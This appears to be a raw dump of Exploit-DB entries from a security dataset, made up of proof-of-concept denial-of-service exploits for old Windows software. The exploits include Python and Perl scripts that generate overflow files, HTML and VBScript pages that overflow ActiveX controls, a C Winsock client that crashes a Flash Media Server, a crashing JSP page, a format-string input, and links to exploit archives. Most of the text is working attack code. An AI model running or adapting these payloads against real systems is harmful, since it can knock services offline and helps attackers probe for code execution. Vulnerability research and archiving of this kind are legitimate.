deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14424
Description: Lithtech Engine - Memory Corruption
Type: dos
Platform: windows
Date: 2010-07-20
Author: Luigi Auriemma

Exploit:
# Original Advisory: http://aluigi.org/adv/fearless-adv.txt
#
#######################################################################

                             Luigi Auriemma

Application:  Lithtech engine
              http://www.lithtech.com
Games:        any game should be affected, refer to
              http://en.wikipedia.org/wiki/Lithtech#Lithtech_implementations
              those personally tested by me are:
                F.E.A.R.                                        <= 1.08
                F.E.A.R. 2 Project Origin                       <= 1.05
                  http://www.whatisfear.com
Platforms:    Windows and Mac
Bug:          memory corruption
Exploitation: remote, versus server
Date:         20 Jul 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Lithtech is the well known game engine developed by Monolith and used
in various famous games like Alien vs Predator 2, No One Lives Forever
and the F.E.A.R. series.
Currently the first episode of F.E.A.R. is the most played online of
the games based on the Lithtech engine.


#######################################################################

======
2) Bug
======


I premise that I haven't performed a deep research on the vulnerability
and I have focused my tests mainly on F.E.A.R. although after a quick
test has been confirmed the same/similar problem on other games that
use protocol 2 of the Lithtech engine like No One Lives Forever 2.

Through a malformed packet is possible to corrupt the memory of the
game with effects that seem to suggest the possibility for an attacker
to do something more than the crashing of the server.
Indeed the problem affects some function pointers so it's not excluded
the possibility to have a certain control over them and the code flow
remotely.

No other technical details are available at the moment.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/fearless.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14424.zip (fearless.zip)

tuned to work with the F.E.A.R. series, so Project Origin included.


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #30672
Description: Live for Speed - Skin Name Buffer Overflow
Type: dos
Platform: windows
Date: 2007-10-13
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/26066/info

Live for Speed is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the vulnerable application. Successfully exploiting this issue will allow remote attackers to compromise affected computers. Failed exploit attempts will likely cause denial-of-service conditions.

UPDATE (December 24, 2007): The recently released Y patch does not address this issue. Please see the references for more information. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30672.zip
Exploit-DB #6326
Description: LogMeIn Remote Access Utility - ActiveX Memory Corruption (Denial of Service)
Type: dos
Platform: windows
Date: 2008-08-29
Author: YAG KOHHA

Exploit:
<html>
<body>
<pre>

LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC (DoS)
Software vendor URL: http://www.logmein.com
Vulnerability at: RACtrl.dll (propset for: fgcolor, bgcolor, fmcolor)
Author: Yag Kohha (skyhole [at] gmail.com)

eax=024521b8 ebx=00000002 ecx=020e9f54 edx=00000011 esi=00000000 edi=00000000
eip=01fb537f esp=0013e160 ebp=0013e1e8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
RACtrl+0x3537f:
01fb537f 0fb706           movzx   eax,word ptr [esi]    ds:0023:00000000=????
---->>> Wanna change [esi]? Try to play with colors ;D

Greetz to:
str0ke & milw0rm
shinnai
offtopic
kais

</pre>

<object classid='clsid:FD0B6769-6490-4A91-AA0A-B5AE0DC75AC9' id='obj1'></object>
<script language='javascript'>
var buf = '';
while (buf.length < 512) buf = buf + 'AAAA';
obj1.fgcolor = buf;
obj1.bgcolor = obj1.fgcolor;
</script>
</body>
</html>

# milw0rm.com [2008-08-29]
Exploit-DB #23614
Description: Loom Software SurfNow 1.x/2.x - GET Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-01-28
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9519/info

A problem has been identified in the handling of specific types of requests by SurfNOW. Upon receiving specially crafted HTTP GET requests, it is possible for a remote attacker to crash a vulnerable implementation, denying service to the user. 

GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n
Exploit-DB #9517
Description: Lotus note connector for BlackBerry Manager 5.0.0.11 - ActiveX Denial of Service
Type: dos
Platform: windows
Date: 2009-08-25
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  Lotus note connector for Blackberry Manager 5.0.0.11 (And maybe other application that use it..)
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:	      IE 8.0.6001.18702
	      IE 6.0.2900.2180
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Notes Connector is an easy to use tool that allows you to instantly synchronize all your Lotus Notes email. 

#####################################################################################

============================
2) Technical details 
============================

Name:	lnresobject.dll
Ver.:	7.1.1.119
CLSID:	{158CD9E8-E195-4E82-9A78-0CF6B86B3629}



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


<html><body>
<object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object>
</body></html>

#####################################################################################

# milw0rm.com [2009-08-25]
Exploit-DB #46130
Description: Luminance Studio 2.17 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-11
Author: Ihsan Sencan

Exploit:
# Exploit Title: Luminance Studio 2.17 - Denial of Service (PoC)
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.pixarra.com/
# Software Link: http://www.pixarra.com/uploads/9/4/6/3/94635436/tbluminancestudio_install.exe
# Version: 2.17
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Luminance Studio Run / Enter Key...
# Any character.

#!/usr/bin/python
    
buffer = "A" * 10
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
Exploit-DB #46817
Description: Lyric Maker 2.0.1.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-09
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Lyric Maker 2.0.1.0 - Denial of Service (PoC)
# Date: 08/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.jetaudio.com/
# Software Link http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/JAD8107_BASIC.exe
# Version: 2.0.1.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "LyricMaker.py", it will create a new file "LyricMaker.txt"
# 2.- Copy the text from the generated LyricMaker.txt file to clipboard
# 3.- Open JetLyric.exe or Lyric Maker
# 4.- Paste clipboard in in the field "Title"
# 5.- Go to file -> Save Lyric...
# 6.- Save the file with any name, e.g 'sample.jlr'
# 7.- Crashed

buffer = "\x41" * 5000
f = open ("LyricMaker.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #46816
Description: Lyric Video Creator 2.1 - '.mp3' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-09
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Lyric Video Creator 2.1 - '.mp3' Denial of Service (PoC)
# Date: 08/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://lyricvideocreator.com/
# Software Link: https://lyricvideocreator.com/dwl/LyricVideoCreator.exe
# Version: 2.1
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "LyricVideo.py", it will create a new file "sample.mp3"
# 2.- Open LyricVideoCreator.exe
# 4.- Click on the 'Browse song' button, select the 'sample.mp3' file created and click on the 'Open' button
# 5.- Crashed

buffer = "\x41" * 5000
f = open ("sample.mp3", "w")
f.write(buffer)
f.close()
Exploit-DB #18337
Description: M-Player 0.4 - Local Denial of Service
Type: dos
Platform: windows
Date: 2012-01-08
Author: JaMbA

Exploit:
#!/usr/bin/perl

# Exploit Title: M-Player 0.4 Local Denial of Service Vulnerability
# Date: 08/01/2012
# Author: JaMbA
# Download:
http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/M-Player.shtml
# Version: 0.4
# Tested on: Windows 7

my $file= "Crash.mp3";
my $junk= "\x41" x 2048;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.mp3 File Created successfully\n";
print "\ I'am From Tunisia (Ahmadso best Friend)\n";
print "\ Dz-Devloper Work Team (wanted_29  Dr.Smt  z4k!_xy  ak27 DR.KIM
Samoray Mr_Ghost)\n";
close($FILE);
Exploit-DB #9123
Description: M3U/M3L to ASX/WPL 1.1 - '.asx' / '.m3u' / '.m3l' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-11
Author: ThE g0bL!N

Exploit:
 #!/usr/bin/perl
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
# #   M3U/M3L to ASX/WPL v1.1  (asx,m3u,m3l) Local Stack Overflow POC          ##
# #  Download: http://proletsoft.freeservers.com/mmb/m3utoasx.html             ##
## Welcom Back Milw0rm                                                         ##
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
my $crash="\x41" x 5000 ;
open(myfile,'>>PoC.m3u');#asx,m3u,m3l)
print myfile $crash;
##################################################################################
#By ThE g0bL!N
# Ismail Fiha seh :) Mada Bik Anta 1st Thotha :)
##################################################################################

# milw0rm.com [2009-07-11]
Exploit-DB #11714
Description: Mackeitone Media Player - '.m3u' Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2010-03-13
Author: ITSecTeam

Exploit:
#!/usr/bin/python
#
# #############################################################################
# Mackeitone Media Player (.m3u file) stack buffer Overflow 
# download link: http://www.makeitone.net/downloads/MakeitOne-MediaPlayerv1.00.exe
# Tested in : Windows XP SP3
# Credit : ItSecTeam
# mail : Bug@ItSecTeam.com
# Web:  WwW.ITSecTeam.com
# Find by: PLATEN @ ItSecTeam
# Special Tanks : M3hr@n.S - B3hz4d - Cdef3nder 
#        Usage: ./MAckeitone-poc.py
# #############################################################################
#
print """
[~] Mackeitone Media Player (.m3u file) stack  Overflow  poc
[~] mail : Bug@ItSecTeam.com
[~] Web:  WwW.ITSecTeam.com
[~] Find by: hoshang jafari a.k.a (PLATEN) @ ItSecTeam               
"""

data= "\x41" *40030
try:
	file=open("media-poc.m3u",'w')
	file.write( data )
	file.close()
	print   ("[+] File created successfully: media-poc.m3u" )
except:
	print "[-] Error cant write file to system\n"
Exploit-DB #3421
Description: Macromedia 10.1.4.20 - 'SwDir.dll' Internet Explorer Stack Overflow Denial of Service
Type: dos
Platform: windows
Date: 2007-03-07
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 Macromedia SwDir.dll ver. 10.1.4.20 multiple methods Stack Overflow
 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------


<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='Shockwave' style="WIDTH: 0px; HEIGHT: 0px" ></object>
<select style="width: 404px" name="Pucca">
  <option value = "BGCOLOR">BGCOLOR</option>
  <option value = "SRC">SRC</option>
  <option value = "AutoStart">AutoStart</option>
  <option value = "Sound">Sound</option>
  <option value = "DrawLogo">DrawLogo</option>
  <option value = "DrawProgress">DrawProgress</option>
  <option value = "Quoting">Quoting...</option>
</select>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   if Pucca.value="BGCOLOR" then
     argCount   = 1
     arg1=String(1000000, "A")
     Shockwave.BGCOLOR = arg1   
   elseif Pucca.value="SRC" then
     argCount   = 1
     arg1=String(1000000, "A")
     Shockwave.SRC = arg1
   elseif Pucca.value = "AutoStart" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.AutoStart = arg1
   elseif Pucca.value = "Sound" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.Sound = arg1
   elseif Pucca.value = "DrawLogo" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.DrawLogo = arg1
   elseif Pucca.value = "DrawProgress" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.DrawProgress = arg1
   else
     MsgBox "Hence to fight and conquer in all your battles is not supreme excellence;" & vbCrLf & _
     "supreme excellence consists in breaking the enemy's resistance without fighting."
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-03-07]
Exploit-DB #3041
Description: Macromedia Flash 8 (Flash8b.ocx) Internet Explorer 7 - Denial of Service
Type: dos
Platform: windows
Date: 2006-12-29
Author: shinnai

Exploit:
<!--
--------------------------------------------------------------------------
Macromedia Flash 8 (Flash8b.ocx) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
---------------------------------------------------------------------------
-->

<html>
<object classid='clsid:D27CDB6E-AE6D-11CF-96B8[PII_REDACTED]00' id='Flash8b'></object>
<script language='vbscript'>

argCount = 1

arg1=String(1000000, "A")

Flash8b.AllowScriptAccess=arg1

</script>

# milw0rm.com [2006-12-29]
Exploit-DB #2208
Description: Macromedia Flash 9 - IE Plugin Remote Crash (Denial of Service)
Type: dos
Platform: windows
Date: 2006-08-18
Author: Mr.Niega

Exploit:
/*
*
* Macromedia flash crash
* Bug discovered by Mr.Niega
* http://www.swerat.com/
*
* Affected Software: Flash 9 (Ie Plugin)
* Impact: Crash
* Solution Status: Unpatched
*
* E-Mail: MarjinZ@gmail.com
* Credits goes out to MarjinZ
*
*                                        
*    /|    //| |              /|    //| |
*   //|   // | |      __     //|   // | |
*  // |  //  | |   //   ) ) // |  //  | |
* //  | //   | |  //   / / //  | //   | |
*//   |//    | | //   / / //   |//    | |
*
*
*/

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8[PII_REDACTED]00" id="allo">
</object>
<script>
var A = 'A';
while (A.length <= 51512*512) A+=A;
allo.AllowScriptAccess = A;
</script>

# milw0rm.com [2006-08-18]
Exploit-DB #1371
Description: Macromedia Flash Media Server 2 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-12-14
Author: Kozan

Exploit:
/*****************************************************************

Macromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan

Application: Macromedia Flash Media Server
http://www.macromedia.com/software/flashmediaserver/
Vendor: Macromedia

Discovered by:  dr_insane
Exploit Coded by: Kozan
Credits to ATmaCA,  dr_insane
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

*****************************************************************/

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")

int nDefaultPort = 1111;

char SingleDoSChar[] = "\x41";

int main(int argc, char *argv[])
{
       fprintf(stdout, "\n\nMacromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan\n");
       fprintf(stdout, "Bug Discovered by:  dr_insane\n");
       fprintf(stdout, "Exploit Coded by: Kozan\n");
       fprintf(stdout, "Credits to ATmaCA,  dr_insane\n");
       fprintf(stdout, "www.spyinstructors.com - kozan@spyinstructors.com\n\n");

       if(argc<2)
       {
               fprintf(stderr, "Usage: %s [Target IP]\n\n", argv[0]);
               return -1;
       }
       WSADATA wsaData;
       SOCKET sock;

       if( WSAStartup(0x0101,&wsaData) < 0 )
       {
               fprintf(stderr, "Winsock error!\n");
               return -1;
       }

       sock = socket(AF_INET,SOCK_STREAM,0);
       if( sock == -1 )
       {
               fprintf(stderr, "Socket error!\n");
               return -1;
       }

       struct sockaddr_in addr;

       addr.sin_family = AF_INET;
       addr.sin_port = htons(nDefaultPort);
       addr.sin_addr.s_addr = inet_addr(argv[1]);
       memset(&(addr.sin_zero), '\0', 8);

       fprintf(stdout, "Please wait while connecting to server...\n");

       if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 )
       {
               fprintf(stderr, "Connection failed!\n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Please wait while sending single DoS char...\n");

       if( send(sock,SingleDoSChar,lstrlen(SingleDoSChar),0) == -1 )
       {
               fprintf(stderr, "DoS char could not sent!\n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Operation completed...\n");
       closesocket(sock);
       WSACleanup();

       return 0;
}

// milw0rm.com [2005-12-14]
Exploit-DB #21536
Description: Macromedia JRun 3/4 JSP Engine - Denial of Service
Type: dos
Platform: windows
Date: 2002-06-12
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/4997/info

A vulnerability has been reported in Macromedia JRun for Windows that results in a denial of service condition. The vulnerability occurs when JRun encounters a malicious JSP page.

The following snippet of code is reported to crash the JRun JSP engine:
new WPrinterJob().pageSetup(null,null);

<%@ page contentType="text/html;charset=UTF-8" pageEncoding="iso-8859-1"
%>
<%@ page import="sun.awt.windows.*" %>
<%! %>
<%
//
%>
<html>
<head>
<title>aa</title>
</head>
<body>

<p>
<FONT SIZE="+2">dON/T TR1 thiz @ home</font>
</p>
<%
new WPrinterJob().pageSetup(null,null);
%>

</body>
</html>
Exploit-DB #3042
Description: Macromedia Shockwave 10 'SwDir.dll' Internet Explorer 7 - Denial of Service
Type: dos
Platform: windows
Date: 2006-12-29
Author: shinnai

Exploit:
<!--
---------------------------------------------------------------------------
Macromedia Shockwave 10 (SwDir.dll) Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
---------------------------------------------------------------------------
-->

<html>
<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>

argCount = 1

arg1=String(1000000, "A")

ShockW.swURL = arg1

</script>

# milw0rm.com [2006-12-29]
Exploit-DB #46656
Description: Magic ISO Maker 5.5(build 281) - 'Serial Code' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-04
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Magic Iso Maker 5.5(build 281) - "Serial Code" Denial of Service (PoC)
# Date: 03/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.magiciso.com
# Software Link: http://www.magiciso.com/Setup_MagicISO.exe
# Version: 5.5(build 281)
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "MagicIso.py", it will create a new file "MagicIso.txt"
# 2.- Copy the text from the generated MagicIso.txt file to clipboard
# 3.- Open MagicISO.exe
# 4.- Go to Register
# 5.- Write any name in the field "User Name", e.g "Anonymous"
# 6.- Paste clipboard in the field "Serial Code"
# 7.- Click on button -> Register!
# 8.- Crashed

buffer = "\x41" * 5000
f = open ("MagicIso.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #16255
Description: Magic Music Editor - '.cda' Denial of Service
Type: dos
Platform: windows
Date: 2011-02-28
Author: AtT4CKxT3rR0r1ST

Exploit:
#!/usr/bin/perl
# Exploit Title: Magic Music Editor .cda DOS
# Version      : All Version
# Author       : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
# Download     : http://www.magic-video-software.com/magic_music_editor/download.html
# Sp3C!4L Gr34T$ T0 h1ch4m 
##############################################################
my $file= "DOS.cda"; 
my $junk = "\x41" x 80000; 
open($FILE,">$file"); 
print $FILE $junk; 
close($FILE); 
print "Files Created successfully\n"; 
sleep(1);
Exploit-DB #12201
Description: MagnetoSoft DNS 4.0.0.9 - ActiveX DNSLookupHostWithServer (PoC)
Type: dos
Platform: windows
Date: 2010-04-13
Author: s4squatch

Exploit:
<html>
<object classid='clsid:B5ED1577-4576-11D5-851F-00D0B7A934F6' id='target' /></object>
<script language='vbscript'>
'Magneto Software ActiveX Control ICMP Crash POC
'Discovered by:  s4squatch
'Site:  www.securestate.com
'Date Discovered: 02/11/10
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'Published 04/13/10
'www:  http://www.magnetosoft.com/products/skdns/skdns_features.htm
'Download:  http://www.magnetosoft.com/downloads/skdns_setup.exe
'SKNetResource.ocx
'Function DNSLookupHostWithServer ( ByVal strHostName As String ,  ByVal strNameServer As String ) As Long
'progid = "SKDNSLib.SKDns"

arg1 = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
arg2 = "defaultV"
target.DNSLookupHostWithServer arg1 ,arg2 

</script>

# Exploit-DB Note:
# According to MagnetSoft The exploit has been fixed in the latest version of the software,5.0.0.1.
# The latest version that contains the fix can be downloaded here:
# http://www.magnetosoft.com/www/downloads/win32/skdns_setup.exe